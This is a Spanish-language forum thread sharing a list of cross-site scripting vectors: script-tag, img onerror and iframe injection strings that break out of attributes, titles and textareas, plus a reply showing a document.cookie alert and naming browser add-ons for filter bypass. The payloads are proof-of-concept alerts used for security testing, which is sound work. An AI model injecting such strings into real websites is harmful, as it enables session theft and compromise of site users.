Vectores de Ataque Xss by Dedalo

[arthusu]

Tweet

Se que hay ya muchos Lists de vectores para Xss pero Les voy a pasar los que usé para algunos de mis mejores Xss:

Código:

"><script>alert(0)</script>
</title><script>alert(/SeguridadBlanca/)</script>
"/><script>alert(1);</script>
'"><script>alert(0);</script>
"><iframe onclick=alert(1)></iframe>
</textarea>"><script>prompt(1)</script>
"><img src=x onerror=prompt(1);>
//>'>"><img src=x onerror=prompt(1);>
"><img src=x onerror=alert(/SeguridadBlanca/);>

Como me gusta chrome el que mas uso para probar antes de mandarme a testear con el firefox para que salten uso:

Código:

"><h1>hols</h1>
"><marquee>sb</h1>
"/><img src=x />

Hasta los populares han caido con estos Vectores...












Fuente: Underc0de

Visiten su web:
  

http://www.seguridadblanca.com/

[nomo11]

Tweet

verde man andaba buscando un tuto asi no lo encontraba
Like +1

[arthusu]

Tweet

verde man andaba buscando un tuto asi no lo encontraba
Like +1

jeje no es un tuto son vectores de xss para penetracion xD :P

[nomo11]

Tweet

verde man andaba buscando un tuto asi no lo encontraba
Like +1

jeje no es un tuto son vectores de xss para penetracion xD :P

Bueno man, pero lo andaba buscando jaja
por todos lados habia pero no habia nada claro man

[nomo11]

Tweet

Les dejo uno...

Código:

"><script>alert(document.cookie)</script>

Saludos.

[arthusu]

Tweet

Les dejo uno...

Código:

"><script>alert(document.cookie)</script>

Saludos.

prueba el xss me es un addon de firefox muy bueno o tambien el tamper data tiene sus xss xD! igual puedes checar el codigo de la web y ir viendo que caracteres acepta para ver un bypass ahi puedes utilizar hackbar para hacer algunos bypass  :P, tambien puedes informarte de nuevos ataques xss en xssed.com donde reportan ataques xss :D el mejor ataque es la creatividad...
saludos nomo11 :D ay nos checamos en el msn xD!
PD: Firefox se esta poniendo mejor la version 15 que estoy usando ahora mismo anda muy bien